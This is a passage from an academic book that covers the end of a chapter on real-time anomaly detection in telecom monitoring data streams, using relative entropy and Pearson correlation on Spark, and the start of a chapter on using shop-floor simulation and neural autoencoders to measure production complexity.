each range. The figure supports the previous observation: We see fewer cells with
D within the lower ranges [0.07,0.3) on the anomalous day than in the baseline, but
for the higher ranges, starting at a mean relative entropy of 0.3, we observe an
increase in D for the anomalous day, and thus relative entropy can be used in
combination with a suitable threshold to detect anomalies in the form of human
behavior changes. The high frequency of relative entropy values within the lowest
bin on the anomalous day is due to inactivity in some cells that were in areas no
longer accessible due to the flood, as the relative entropy between two windows with
no activity will be very low.

Fig. 16.5 Distribution of cells’ mean relative entropy between adjacent windows throughout one
day. Baseline from multiple normal days compared to the anomalous scenario on May 2, 2015. (a)
Distribution of the proportion of cells where the mean relative entropy falls into the respective
range, for the baseline and the anomalous day. (b) Difference between the proportion of anomalous
cells’ means and the proportion of baseline cells’ means per range
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4.1.2 Pearson Correlation Accuracy

The physical network monitoring probes from which we obtain the data are located
close to Swisscom’s core network and each probe is responsible for monitoring an
aggregate of cells. Probe failures are therefore detectable by looking at large-scale
changes. As the probes are separate per interface and one failure only affects one
interface, these changes can be observed by maintaining global Pearson correlation
coefficients between two interfaces. In the non-anomalous scenario, the data streams
coming from different telecommunication interfaces (2G and 3G, specifically) are
highly correlated in the counts of users on the interfaces during a period in time.

Since we have no data of a failure scenario, we resort to simulations that aim to
imitate a realistic failure of a network monitoring probe. We consider two realistic
types of failure scenarios: hardware failures, where one probe ceases to transmit
events for the area it monitors, and software failures, where a gradually increasing
duplication of transmitted events takes place.

Abrupt Infrastructure Failures typically result from hardware failures. In this
case, no events get transmitted from the respective monitoring probe, which leads to
lower user (i.e., input) counts since no users are counted for cells in the area
monitored by the failed probe. For simulation, we filter out a proportion of the
received events after a certain time, resulting in a sudden drop in the Pearson
correlation r(X, Y ) during one window.

Figure 16.6 displays the results of computing the Pearson correlation r(X,Y )
between windows over the counts of distinct users on the 2G voice (A) and the 3G
voice (IuCS) streams during 1 h, with one count every 10 s and one correlation score

Fig. 16.6 Simulating the impact of the cessation of data transmission from one probe, that is, losing
a fraction of the events on one interface, on the global correlation between the distinct user counts
on the A and the IuCS stream
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every 90 s. X and Y are vectors, each containing nine counts, corresponding to the
counts in one 90 s window on the stream originating from the A and IuCS interface,
respectively. After 30 min, we filter out one-third of the IuCS stream’s events.

The results show that both before and after the failure, the correlation between the
counts over the two streams is high (ranging between 0.8 and 1). At failure time,
there is a momentary decrease of the correlation to 0.6 during one 90 s window.
Because the event loss is uniform, the correlation remains high even when parts of
the stream are lost, but the score is impacted at the time of change. This momentary
decrease of 0.3 is significant considering the baseline’s mean of 0.91 having a
standard deviation σ of 0.06. We detect anomalous cases by identifying correlation
coefficients that deviate from the average by kσ; in our deployment, picking k to be
4 yields an accurate detection of infrastructure failures in time.

Gradual Infrastructure Failures occur in the software running on monitoring
probes, which is vulnerable to manual misconfiguration. In previous real-world
failure cases, events have been transmitted multiple times, that is, duplication
occurred. The amount of duplication increased gradually over time, making them
hard to detect through visual monitoring tools.

The simulation of gradual increase in distinct user counts (e.g., as a result of
re-emission of previous events) has been achieved by gradually increasing the counts
on the IuCS interface after a period of 20 min. Figure 16.7 shows the counts as well
as the Pearson correlation coefficients. We observe that, although the counts on the
IuCS interface increase greatly (significantly faster than in a realistic scenario), the
correlation remains within the range that we consider highly correlated (greater than
0.8).

Fig. 16.7 Simulating the impact of a gradual increase in event duplication as an increase in the
distinct user counts on the global correlation between the A and the IuCS stream in terms of the
number of distinct users

302 L. Rettig et al.



4.2 Comparison to State-of-the-Art Anomaly Detection
Techniques

In the following, we apply state-of-the-art anomaly detection methods (Münz et al.
2007; Young et al. 2014) to our data and the specific anomaly detection scenarios—
real-world events—in order to evaluate their applicability and to compare our
methods to these in the following section.

4.2.1 Volume of Telecommunication Activity

One approach to detecting local anomalies over telecommunication data is through
quantifying the volume of activity on a local scale (Young et al. 2014). We count the
number of events per 30 min window in a scenario where a fire at the Lausanne train
station disrupted the train traffic, and compare the counts to average counts on
normal days in Fig. 16.8.

Fig. 16.8 Count of events per 30 min, per cell and per city, comparing between a baseline for normal
days and an anomalous day. (a) Activity around two IuCS base stations in Lausanne: train station and
Olympic stadium. (b) Activity on the IuCS interface in the entire area of the city of Lausanne
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Formonitoring on a per-cell level, two locations are considered: one at the Lausanne
train station and another at the Olympic stadium, located approximately 2 km from the
train station, which is not an important point for railway traffic. Additionally, we
attempt to detect the event at a coarser granularity for the entire city of Lausanne.

It can be observed in Fig. 16.8a that there is an increase in activity in the afternoon
of the anomalous day around the location of the event but no anomalous activity at
the nearby location. For comparison, Fig. 16.8b shows the event counts for the entire
city of Lausanne. There is no observable difference between the normal and the
anomalous day at this scale. From these results we reason that the event is only
recognizable by monitoring counts at a very fine granularity, which is costly in terms
of memory and computations considering the large number of cells.

4.2.2 k-Means Clustering

As clustering is a common method for anomaly detection (Münz et al. 2007), we
validate the accuracy of our system against an approach using k-means. Once more
we consider the event where there was a fire at the Lausanne train station. In order to
be comparable to our previously described system, we summarize temporal windows
of data by computing features that are similar to the stream summaries used in
computing relative entropy and Pearson correlation; specifically, we consider event
type distributions on the A and IuCS interfaces as well as user counts. We obtain
15 features for each nonoverlapping window of 10 min. We choose k, the number of
clusters, to be 7 by empirically evaluating different values and choosing a number
where additional clusters do not add information.

For the purpose of analyzing the clusters in a visual manner, the high-dimensional
space is reduced to three most discriminative dimensions.

For each day of data, a separate k-means model has been built and the centroid for
each cluster of each day is shown in Fig. 16.9. Most cluster centroids are positioned
around a diagonal line. For the anomalous day, two outlying cluster centroids with a
higher distance to the diagonal can be observed. Thus, k-means is able to detect
known anomalies, but it requires many processing steps and iterations over the
dataset to find and analyze the results, making it too slow for real-time applications
(minutes as opposed to seconds).

4.3 Scalability of the Algorithms

We now turn to evaluating the scalability of our anomaly detection system. Since the
focus of this work is on real-time anomaly detection, this experiment is conducted on
the stream implementation. Parallel processing is a key feature of big data infra-
structures. In order to evaluate the scalability of our implementation, we conduct an
experiment with a varying number of processing executors and an approximately
constant data rate. The computation for any micro-batch, including any aggregates of
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micro-batches in the form of windowing, should require only sufficiently short
periods of time; on average well below the duration in which data are collected,
that is, the length of the micro-batch or window itself.

The experiment in Fig. 16.10a displays the processing time for the relative
entropy algorithm with 60 s micro-batches given an increasing number of executors.

Fig. 16.9 Cluster centroids in k-means for models built from the data for normal and anomalous
days, reduced to the three most discriminant dimensions for cluster centroid positions

Fig. 16.10 Streaming mode: micro-batch processing times per number of executors. (a) Comput-
ing relative entropy on the A stream with a micro-batch duration of 60 s. (b) Computing Pearson
correlation between the A and IuCS streams with windows of 90 s
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This experiment shows that the algorithm terminates on average below the duration
of a micro-batch, such that the relative entropy on the stream is computed in real time
with any configuration.

The experiment in Fig. 16.10b displays the micro-batch processing time as a
function of the number of executors for computing the Pearson correlation. In this
case, the processing of the streams using fewer than eight executors was consistently
unable to terminate within the given 90 s window duration and are therefore not
shown.

Both experiments show that the execution time and the variance decrease by
adding more executors, indicating that the algorithms are scalable to increasing
parallelism. We observe that the execution time increases after reaching an optimum
at 128 and 64 executors, respectively, due to network overhead caused by node
management and data shuffling.

5 Discussion

In Sect. 4, we experimentally evaluated the accuracy and scalability of two proposed
measures for anomaly detection, relative entropy and Pearson correlation coeffi-
cients. We showed that one of our proposed measures—relative entropy—allows us
to detect anomalous events related to users’mobility in the form of a high proportion
of higher values for relative entropy. We found that Pearson correlation is not a
suitable measure for detecting anomalies that are of a gradual nature. On the other
hand, when simulating an abrupt change in the form of a hardware component’s
failure, Pearson correlation coefficients show a significant decrease against the
highly correlated baseline for normal behavior. Hence, by continuous monitoring
over the available data streams, the detection of different types of anomalies is
feasible by using both proposed measures simultaneously.

When comparing to baseline methods for anomaly detection, specifically count-
based anomaly detection and clustering, our two proposed methods were more
efficient and more accurate for detecting anomalies given a threshold.

In order to evaluate the suitability and compare the different approaches, four
dimensions were considered that are relevant for choosing a suitable long-term
anomaly detection technique. These dimensions for comparison are the following:
(1) gradual change: ability to detect changes happening gradually over time, such as
human-behavior-induced events or gradual failures; (2) abrupt change: ability to
detect abrupt changes; (3) spatial granularity: anomaly detection accuracy for
different levels of geographical granularity—global, regional, and local—with an
impact on the efficiency; (4) efficiency: focusing on stream processing, this aspect
includes the processing duration, the scalability to parallelization and to larger
quantities of data, as well as the efficiency of the algorithms in terms of resource
usage.
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5.1 Type of Change: Gradual or Abrupt

We have evaluated the suitability of our metrics for detecting known possible
anomalies. Relative entropy and both state-of-the-art methods are suitable for
detecting gradual change. Both Pearson correlation and measuring the volume of
activity allow us to detect anomalies as a result of abrupt change, for example, from
infrastructure failures. This results from the quantification of activity in absolute
terms for both methods.

Relative entropy would not be suited for detecting abrupt change, as it considers
the proportions of event types, which would remain the same due to uniform
downscaling in a hardware failure scenario.

5.2 Spatial Granularity

Both proposed techniques, relative entropy and Pearson correlation, are able to
detect anomalies on a local, regional, and global scale. For Pearson correlation, the
granularity depends on the area that is affected by the failure; typically, larger
aggregates of cells. For the sake of efficiency, a regional partitioning or global
computation of the correlation is preferable.

The volume-based approach is limited to detecting anomalies locally at the cell
level, that is, even major anomalies are not visible on the regional scale or at nearby
cells. This is an inefficient approach that makes it difficult to detect true anomalies.

While k-means clustering did produce observable outliers for anomalous data on
a regional scale, this approach was not able to produce distinguishable outliers at a
global scale for the same event that we were able to observe on a global scale using
relative entropy.

5.3 Efficiency

We evaluated the computation times for our proposed methods in streaming. Using
the ideal number of executors—128 and 64 respectively—we reach median
processing times far below the micro-batch duration (respectively, 55 and 80 s
less), such that fault recovery is feasible within the given time. We also obtained a
low variance with an increased number of executors, which helps to guarantee an
upper bound for the processing time under normal circumstances and less vulnera-
bility in case of failures. When parallelizing to more than the ideal number of
executors, the network connections become a bottleneck.

While the event counting approach has only been implemented over batch data
for evaluation using known anomalous events, its implementation—counting the
number of distinct events during a period—is simpler than our proposed methods.
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On the other hand, the need to maintain a large number of distinct values, one for
each cell, makes this approach inefficient in terms of resource usage.

k-means is a relatively costly algorithm that requires a large number of iterations
over the data. In addition to the issues with efficiency, it should be further noted that
there are some limitations to performing k-means clustering on the monitoring data.
The monitoring data are essentially multidimensional time series, which are highly
correlated. The network traffic logs that were used in the related work proposing this
method, on the other hand, have discrete entries.

In summary, by comparing our proposed system against the existing methods, it
can be observed that relative entropy detects similar anomalies to k-means—in large
parts due to the similar choice of features. Relative entropy offers an improvement
over k-means regarding the efficiency (relative entropy requires only one iteration
over the data) and regarding the ability to detect anomalies at a global scale.

Correspondingly, Pearson correlation and the approach using event counts detect
similar types of anomalies. It should however be pointed out that by counting the
number of total events without correlating between streams we can expect to observe
false positives, for example, as a result of highly local phenomena that do not
correspond to real events.

5.4 Limitations

As a result of the lack of ground-truth data, especially anomalous events, our work
has some limitations and aspects that could not be addressed. When identifying
anomalies, we used parametric thresholds as deviations from the standard deviation
of the measure. These thresholds and parameters vary greatly between the different
events and setups, meaning that the choice of parameters needs to be determined
within the given context. It is at this time difficult to determine the significance of the
respective differences when comparing between anomalous data and a baseline. In
order to draw meaningful conclusions and perform statistically sound automated
anomaly detection, further validation and training data are necessary.

6 Related Work

6.1 Data Streams

Streams frequently have the property that data arrive at a high velocity, posing
problems in the areas of transmitting input to a program, applying functions to large
input windows, and storing data, both temporarily and long term (Muthukrishnan
2005). Statistical metrics and probabilistic data structures that represent sliding
windows in streams have been proposed for summarizing streams. Datar et al.
(2002) introduce approximate stream summary statistics for sliding windows.
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Since regularities in streams may evolve over time, the issue of data decay is handled
by giving more weight to recent objects, aggregating previous windows, and even-
tually discarding older data. The authors store information using exponential histo-
grams. This data structure uses timestamps as the bins and the count of an item in the
stream as the value for each temporal range. While their work is suitable for
computing approximate statistics with bounded errors to summarize aspects of the
content of a stream, they do not address the issue of detecting change.

Frugal streaming was introduced by Ma et al. (2013) providing first-order statis-
tics over data streams. These frugal streaming algorithms are able to treat streams
one item at a time, requiring no memory of previous data, and only a maximum of
two pieces of information are maintained in memory. Flajolet et al. (2007) proposed
the HyperLogLog structure, a sketch suitable for counting distinct elements with
bounded errors in a single pass over the data, making the algorithm highly suitable
for stream data. While very simple and efficient, both approaches are restricted to
streams of a single dimension.

6.2 Anomaly Detection on Time Series and Data Streams

In this chapter, we define and identify data quality issues as anomalies, that is,
deviations from the expected model of the data. Related work on anomaly detection
for time series data can also be applied to data streams. While time series do not
always require real-time systems, both time series and data streams provide in fact
temporal data, as data streams naturally carry the notion of time (Papapetrou et al.
2012) (either by means of time of arrival of a data point or from a timestamp
associated with it). A number of techniques have been proposed to detect anomalies
in multidimensional data streams or for multidimensional time series data.

A general method for detecting anomalies in datasets consisting of distributions is
proposed by Lee and Xiang (2001). The authors use relative entropy amongst other
information-theoretic measures to detect anomalies. Their measures are suitable for
describing the characteristics of a dataset, but they do not address the data stream
notion, requiring real-time computability. Based on the proposed information-
theoretic measures, Dasu et al. (2006) present an approach to detect sudden changes
in multidimensional data streams. In their approach, multidimensional stream
instances are represented as kdq-trees (a combination of kd-trees and quadtrees),
while relative entropy is used as a similarity measure. To detect changes on unknown
distributions, the method resamples the data from one window using the so-called
bootstrap technique in order to obtain expected distributions of the data. The relative
entropy between the distributions gives a bound for the relative entropy between
different windows (under the assumption that the data originate from the same
distribution), allowing for a statistically sound detection of significant changes.
The authors propose two different window comparison models. The first model
compares adjacent windows, which is well-suited for detecting abrupt changes. The
second model compares a sliding window to a previous window, which is
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convenient to detect more gradual changes. We use similar techniques to measure
changes between successive time windows over multidimensional data streams.
However, we do not rely on complex and multidimensional data structures that
would be very difficult to distribute and efficiently update on clusters of machines.

Zhang et al. (2004) propose a solution that detects outliers in multidimensional
data. The proposed approach performs anomaly detection by measuring the distance
of a data point in various subspaces. The authors show that for multidimensional
data, changes may be observable on one dimension, over a subset of dimensions, or
overall. However, the proposed techniques based on indexing and subspace pruning
are not applicable to real-time scenarios due to the high number of iterations over
the data.

Young et al. (2014) detect and classify emergency and nonemergency events
using annotated telecommunications network data, specifically, call detail records.
Similarly to our work, they compare normal and anomalous days to detect deviations
from a baseline representing average behavior. The known events in their dataset are
detectable when plotting the call volume throughout a day for the anomalous event
compared to an average for this day of the week. They observed that events change
the users’ activity at the location of the event, such that the difference—in terms of
activity profile—to nearby cells, where activity is as normal, increases. Unlike our
proposed system, they use a metric that observes the anomaly only at the closest cell
tower to the known event. Their work uses autoregressive hidden Markov models in
order to classify time frames and detect the precise onset of an event. Furthermore,
the applied matrix factorization is computed on data at rest and not in real time,
unlike our high-velocity streams.

Clustering algorithms are frequently used to detect outliers or anomalous
instances that have been assigned to anomalous clusters. In their survey of anomaly
detection techniques for temporal data, Gupta et al. (2014) note that different
clustering algorithms, such as k-means, can be used to detect point outliers, as
well as to create dynamic models for anomaly detection in streaming. Münz et al.
(2007) detect anomalies from network monitoring data as part of an intrusion
detection system by using the k-means clustering algorithm. Instances are created
by computing features on the traffic data per time interval. k-means forms k distance-
based clusters based on unlabeled training data and assigns normal and anomalous
instances each to a different cluster. In their setting, k is configured to 2 in order to
assign normal and anomalous instances each to a different cluster. The clusters’
centroids are then deployed to classify new instances as either normal or anomalous.
This is a highly generic approach that is suitable for many scenarios, however, it is
significantly slower than the approach presented in this chapter.
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7 Conclusion

This chapter presented a system for the purpose of performing anomaly detection
over high-velocity streams of telecommunications monitoring data. In the imple-
mentation of the system, we leveraged general measures from statistics and infor-
mation theory and applied them for the purpose of anomaly detection. These
measures have been implemented in Spark and Spark Streaming, thus enabling
data quality testing in the form of anomaly detection both on data streams and on
data at rest. The implementation is flexible and robust in terms of detecting anom-
alies that occurred on different spatial and temporal scales, since we can consider any
subset of the network topology, as well as varying subsequences of the stream or the
batch data. We showed that the implementation scales with the number of parallel
nodes until reaching an optimum.

The results of the empirical evaluation show that (1) relative entropy is suited to
detect gradual changes in human behavioral patterns caused by a disruption at one
point in time, with the effect gradually increasing and lasting for multiple hours;
(2) Pearson correlation enables the detection of abrupt hardware failures but does not
detect any gradual changes; and (3) compared to state-of-the-art techniques, the
proposed system for anomaly detection is superior in terms of accuracy and efficiency.

7.1 Lessons Learned

In implementing and testing this project using Spark and Spark Streaming, we learned
the importance of understanding the underlying system, that is, the way data are
treated by Spark, in order to fully optimize the implementation. One important point
is making sure that data processing is efficient, particularly during streaming, as data
loss results when micro-batches are not processed within the duration of the data
collection, as the system can only buffer a limited amount of data to be processed.

From the different measures that have been implemented and compared, we
observed that Pearson correlation and the simplistic approach in the form of event
counting are well-suited for abrupt changes. On the other hand, relative entropy,
when computed between the proportion of event types as done in this work, does not
recognize abrupt changes, but is better at handling gradually occurring change,
especially when comparing against a recent ground-truth non-anomalous sample.

This system does not yet support fully automated anomaly detection. Tests were
done using recent manually annotated ground-truth for non-anomalous data. Thresh-
olds and parameters for alerting about anomalies should be based on bigger sets of
ground-truth data in order to be more robust and reliable. For example, one might
consider using resampling techniques to determine the statistical significance of an
anomalous measure given the previous information. Another option could be the use
of machine learning techniques, such as classification rules, that are learned from
annotated ground-truth data. As a side effect, this would allow the system to
automatically output the type of anomaly along with the alert.
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Chapter 17
Unsupervised Learning and Simulation
for Complexity Management in Business
Operations

Lukas Hollenstein, Lukas Lichtensteiger, Thilo Stadelmann,
Mohammadreza Amirian, Lukas Budde, Jürg Meierhofer,
Rudolf M. Füchslin, and Thomas Friedli

Abstract A key resource in data analytics projects is the data to be analyzed. What
can be done in the middle of a project if this data is not available as planned? This
chapter explores a potential solution based on a use case from the manufacturing
industry where the drivers of production complexity (and thus costs) were supposed
to be determined by analyzing raw data from the shop floor, with the goal of
subsequently recommending measures to simplify production processes and reduce
complexity costs.

The unavailability of the data—often a major threat to the anticipated outcome of
a project—has been alleviated in this case study by means of simulation and
unsupervised machine learning: a physical model of the shop floor produced the
necessary lower-level records from high-level descriptions of the facility. Then,
neural autoencoders learned a measure of complexity regardless of any human-
contributed labels.

In contrast to conventional complexity measures based on business analysis done
by consultants, our data-driven methodology measures production complexity in a
fully automated way while maintaining a high correlation to the human-devised
measures.
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1 Introduction

One of the most important aspects of a data science project is the data itself. Its
availability is the necessary condition for any successful data product that at its core
relies on a successful analysis of this data. This fact seems obvious enough to be
considered a truism, but nevertheless is the proverbial “elephant in the room” of
countless data analytics projects. A recent survey among 70 data scientists showed
that on average 36% of their projects have been negatively impacted by the
unavailability of the data to be analyzed. The following paragraphs summarize the
results from this poll.1

The survey has been conducted among the associates of the ZHAWDatalab.2 The
typical negative impact reported has been a delay of the project in the order of
months, sometimes leading to a change of scope and goal up to the cancellation of
the complete project (see Fig. 17.1). “Unavailability of data” here refers to the
situation in which a data science project has been started under the requirement
that specific data will be available at a certain point in the timeline of the project. The
analysis of this data is the main part of the project and crucial to reach its goal, and all
reasonable measures have been taken upfront to secure its availability. According to
the survey, failing this requirement has usually one of the following reasons:

• Measurement issues: the data was meant to be collected in the course of the
project but resource problems for staff to conduct measurements, the absence of
specific events to be measured, or the unavailability of respective hardware hinder
its collection.

• Privacy issues: the data is there but cannot be shared among the project partners
due to new or unforeseen legal constraints.

• Quality issues: the raw data is available and shareable but the measurements
themselves or the human-provided labels lack the required precision.

The effect of the unavailability of data is manifold: usually, it not only stretches
the duration of an affected project by several weeks to years, it also leads to much
more work on data curation at the expense of less time for the actual analysis and
decreases the motivation on all parts of the project team, as was mentioned several
times in the survey. It forces the data scientist to revert to suboptimal methods (with
respect to the aspired project goal), and usually leads to lowered overall project goals
up to a total cancellation of the endeavor. The matter is even more severe if data is
not absent altogether, but some crucial parts are missing or its quality is far below the
necessary standard. This ultimately leads to the same issues as outlined above; the

1While the survey and its evaluation have been conducted under controlled circumstances specif-
ically for this chapter, we explicitly point out the small return rate of 10 questionnaires and hence
the limited generality of conclusions; we report them because of their good correlation with our
overall impression from numerous experiences with colleagues inside and outside our respective
institutions.
2See www.zhaw.ch/datalab for a list of associates.
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more subtle form of the problem, however, may hinder project management to take
appropriate measures early on, as was pointed out by several participants in the
survey.

In this chapter, we provide a twofold contribution: first, we discuss a specific
approach to partially overcome the above-mentioned issues of data unavailability by
producing detailed data for machine learning out of a simulation model informed
only by high-level process descriptions. Second, we introduce a novel measure of
business operations complexity that can be evaluated fully automatically based on
data and holds potential to inform business owners on how to reduce unwanted
complexity. It exploits the idea that complexity and compressibility are highly
anticorrelated (Schmidhuber 2008). Our case study from the area of Industry 4.0 is
motivated by the assumption that in the time of growing mass customization in
production (Fogliatto et al. 2012), variability in the product range leads to increased
production complexity, which is a major driver of costs. (Note that there are
scenarios where this assumption does not hold, e.g., cases where the variability of
the product range enables the compensation of variabilities in the flow of resources.
For more about this discussion, see Sect. 2.)

The goal of this case study hence has been twofold: first, to measure the inherent
complexity in the production processes of certain industrial goods based on the
analysis of production data; second, based on the complexity measurement, to
propose changes to these processes that reduce the complexity while being feasible
from a business and operations perspective. However, the necessary raw data from
the shop floor turned out to be largely unavailable in the expected form.

In this situation, the methodology of coupling simulation and learning (Abbeel
2017) proved useful. Simulating the known physical properties of the production
processes on an abstract level leads to many “observations” of the production of
goods. Training an unsupervised learning algorithm like a neural autoencoder
(Goodfellow et al. 2016) on this data converts the model from a physics-based
simulation to a machine learning model with similar content, but different properties.
The interesting property of the learned model with respect to the goal of the case study
is the following: it has learned a compressed representation (Bengio et al. 2013) of
the patterns inherent in the data, which is in the best case (a) able to generalize
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Fig. 17.1 (Left) Survey results for the question “Which percentage of projects you worked on has
roughly been affected by the unavailability of the data?”. (Right) Answers to the question “How
long have the affected projects typically been delayed (multiple answers allowed) by the
unavailability of data?.” Overall, the survey produced a 17% return rate (12 people), out of which
10 answered the above questions
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(Kawaguchi et al. 2017) beyond the limitations and discontinuations of the abstract
simulation; and (b) allows conclusions on how the original processes might be
compressed (i.e., simplified) out of an analysis of its own way of compressing
the learned information. Note that our two contributions—the suggestion to use
simulation to overcome data scarceness, and the novel complexity measure—are
independent of each other and only linked by the necessity of the case study under
consideration.

The remainder of this chapter is organized as follows: Sect. 2 introduces the case
study with its business background, showing the necessity and merit of a learned
complexity measure. Section 3 details our methodology of linking simulation to
unsupervised learning. Section 4 discusses the results of the case study before Sect. 5
concludes with several lessons learned on the problem of the unavailability of the
analysis data in general.

2 Case Study: Complexity Management in Business
Operations

The problem statement and solution approach described were applied in an industrial
shop floor environment of a large international enterprise based in Switzerland. The
factories are challenged with decisions about expanding the product portfolio for a
higher degree of differentiation and an extended skimming of market segments,
which is expected to yield higher revenues. However, it is obvious that even in the
context of a modular production strategy in which new product versions are based on
existing modules, increasing the product portfolio results in an increased complexity
of the business operations in production, therefore resulting in increased production
costs. Thus, there is a trade-off between higher revenue and higher costs. The
availability of a tool to assess the complexity of a given production scheme based
on measurable input data can provide a relevant support for the corresponding
management decisions. Such a tool matches the definition of a so-called data product
in the sense that it generates value from data for the benefit of another entity (i.e., the
shop floor management) by the application of data science skills (Meierhofer and
Meier 2017).

Product variety or complexity increase is often the outcome of the differentiation
strategy of companies to enter market niches and to achieve higher revenues and
market shares (Tang 2006). Beside the fulfillment of individual customer require-
ments and the outperforming of competitors (Lancaster 1990), researchers as well as
practitioners in various studies reveal that an increase of product complexity does not
equally lead to higher profitability and sustainable growth (Ramdas and Sawhney
2001). On the contrary, complexity is often associated with various negative effects
that come attached and are built up over years (Fisher et al. 1999; Kekre and
Srinivasan 1990). Several researchers claim the existence of an optimal level of
product complexity that companies need to approach (Budde et al. 2015; Orfi et al.
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2012; Krishnan and Gupta 2001). But the definition of the optimal level of com-
plexity is not a trivial task because multiple factors need to be considered (Fisher
et al. 1999; Budde et al. 2015). Product portfolio decisions (e.g., new product
variants or new product developments) affect all steps along the value-chain, for
example, development, production, and even service operations. Even minimal
changes at the product architectures can have multiple impacts on the production
or service side. This is also why decision-making around the product portfolio, such
as decisions for new product development projects, product variants, or product
architectures, is seen as one of the most critical tasks of management due to its
uncertain and changing information, dynamic opportunities, and multiple and stra-
tegic considerations from different stakeholders along the value-chain (Closs et al.
2008).

Managers struggle to evaluate complexity out of a broader multifunctional
perspective due to a lack of system interdependency knowledge and information
asymmetries (Budde et al. 2015). This results in decisions that may be optimal for
one functional perspective but not always optimal for the company along the product
life cycle (Fisher and Ittner 1999; Closs et al. 2008; Lancaster 1990). Closs et al.
(2008) recognized the need of metrics that measure the relational and combinatorial
dimensions of complexity. These metrics should be able to predict various perfor-
mance outcomes. Developing such a metric and deriving decision support from it for
the case at hand was a central goal of our work.

In the given case study of the shop floor, data was available on the number of
product alternatives and how they are composed as well as on the number of
production steps required to produce those product types. However, within the
practically given time frame of the project, it was not possible to gather the detailed
data of the shop floor, for example, data about the sequence of the raw material or
semifinished products across the machines or data about the load fluctuations of the
individual machines. Higher effort than originally expected would have been nec-
essary to generate all required information out of the different IT systems: the
information was not directly available and not connected. Additionally, it was not
possible to conduct different interviews with product managers as well as with
experts from production or supply-chain departments due to organizational
constraints.

Still, the project pursued the goal to make the resulting complexity of different
production schemes measurable and thus to enable the assessment of different
scenarios of product and production constellations. As stated in the introduction,
the approach chosen here and explained in the following sections is based on training
an unsupervised learning algorithm on data from simulations, which in turn are
based on the scarcely available data and expert knowledge, thus transforming the
physical model into a machine learning model that can provide insights into the
inherent complexity on a more abstract level.
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3 Linking Simulation and Learning

Even if there is no or insufficient data available to successfully train a machine
learning model, some knowledge of the underlying nature of the system is often
available from the domain experts. Here we discuss how for our case study we define
a simulation model that can provide the data needed for a proof of concept of our
complexity measure based on a neural autoencoder (Goodfellow et al. 2016).

3.1 Simulation Models Can Provide Data

Simulations, as opposed to machine learning, are based on expert knowledge of the
dynamics and rules of the complex system under analysis (Zeigler et al. 2000). Thus,
in the absence of observations of the system (the desired data) we can simulate the
behavior of the system by means of modeling its dynamics, running it (maybe many
times), and gathering the observational data. Clearly, a simulation model needs data,
too, but typically that data is of a higher level of abstraction, for example, the number
of processing steps and the duration of each step for a given product. So, even if we
do not have exact data for some of these values, like the durations, we can make
some reasonable assumptions by talking to shop floor domain experts.

Many different simulation modeling approaches are known and the choice
depends strongly on the system to be described and the knowledge we have about
it (Zeigler et al. 2000). Roughly speaking, models can be characterized with respect
to the following features: discrete versus continuous time/space, global versus local
decisions/behavior, and deterministic versus stochastic decisions/data. Some exam-
ples are as follows:

• Physical and chemical systems are often continuous in time and space, have local
forces (decisions), and are only rarely stochastic; this is why they are often
described by differential equations.

• Production, supply-chain and logistics systems are discrete in time and space,
decisions are often global, and they can be stochastic; thus, they are well-
described by discrete-event simulations.

• Economic and sociological systems are also discrete in time and space and can be
highly stochastic, however, often decisions and behavior is determined mainly
locally, which is why agent-based simulation models are well-suited in this case.

With the decision for the simulation approach at hand, one can go ahead and
determine the details of the model and what data is needed or needs to be generated
to feed it. Validation of the simulation model is just as important as in any other
simulation study. Since there is insufficient data available for direct validation, like
when simulating systems that do not exist yet, one has to validate by means of
consistency conditions provided by shop floor domain experts.
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Finally, running the model (maybe many times) will generate the synthetic data
for the subsequent machine learning step. The machine learning model is then
trained on the generated data to faithfully reproduce the inputs, but with different
properties than the simulation model: our hypothesis (using the method detailed in
Sect. 3.3) is that a successfully trained network will abstract essential features of the
data used for training, and measuring the minimally required network complexity
for successfully learning a given dataset would be a good measure for the complex-
ity of the data itself.

Once the network model is established on synthetic data, the case study that
lacked data in the first place can now continue: the model trained on synthetic data
can be embedded in its application and one can start testing, using, and refining it,
until a freshly trained model can replace it once the real data is available.

Clearly, the fact that domain knowledge and high-level descriptions/data are
needed for this approach can be seen as a drawback. On the upside, in many cases

• domain knowledge will anyway be needed for a successful data analytics project;
• higher-level descriptions/data are either already available or are not so hard to

come by or estimate stochastically;
• the simulation modeling process leads to a deeper understanding of the domain

and its dynamics;

which is why we argue that building a simulation model can successfully mitigate
the issue of “unavailability of data” in the first place. The results obtained in that way
will then have to be validated by different means, for example, through investigation
by the original data owners.

3.2 A Concrete Example: The Job Shop Model

The goal of our case study was to measure the complexity of the manufacturing
processes based on production data rather than based on business analysis. The
production data desired by us would have been provided as an event log that traces
the processing steps that each order undergoes on its way through the production
system. Manufacturing systems like this are best modeled by discrete-event simula-
tions that model the orders being passed from one process to the next, producing a
discrete series of events in time—the exact data that we need in our case study.

In order to validate our complexity measure based on a neural autoencoder, we
chose to implement a relatively simple model of a production facility, called the job
shop model (Pinedo 2009); see the example depicted in Fig. 17.2. The job shop
model describes all production steps as so-called machines that are visited by jobs
that represent the orders for products to be produced. Machines can process only one
job at a time. Each job has a list of tasks, which are combinations of machines and
processing times of that job on the given machine. The tasks must be completed in
the given order. Different products may visit machines in different orders and the
number of tasks can vary as well. We do allow for recirculation, that is, a given job
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may visit a given machine several times on its route through the system, and we
allow a changeover time to be accounted for before a new job can be processed on a
given machine. Determining the optimal sequence for a job shop is a classical
NP-hard optimization problem in operations research (Pinedo 2009).

Once the sequence of the jobs to be processed and their task lists with the
processing times are fixed, the model is fully deterministic. The simulation yields
a log of events, each with timestamp, job ID, machine ID, and event-type, for
example,

• Job entered in waitlist, job selected from waitlist
• Capacity blocked, capacity released
• Changeover started, changeover ended
• Processing started, processing ended

Thus, for given job sequences, the simulation model provides raw production
data from a synthetic shop floor that can be fed into the machine learning model.

3.3 A Novel Neural Net-Based Complexity Measure
of Industrial Processes

In this section, we propose a novel measure to estimate complexity in production
lines, based on a neural network, as well as an unsupervised approach to compute the
measure. The goal is that for a given production line this complexity measure can be
evaluated completely automatically without any human intervention and in (near)
real time. The concept of complexity can be followed in compression theory
(Henriques et al. 2013), learning theory (Zhu et al. 2009), and computational
complexity theory (Park and Kremer 2015). The complexity of production lines is
evaluated statically (Park and Kremer 2015) and dynamically (Fischi et al. 2015) in
state-of-the-art research in order to improve manufacturing performance. Moreover,
complexity can be evaluated for an entire dataset (Bousquet et al. 2004) or samples
(Pimentel et al. 2014).

In our view, the complexity of a system can be quantified by how much a dataset
containing an implicit full description of that system can be compressed without
losing information about the system. For example, if the data describing all ongoing
processes in a factory is very redundant, it can easily be compressed into a much
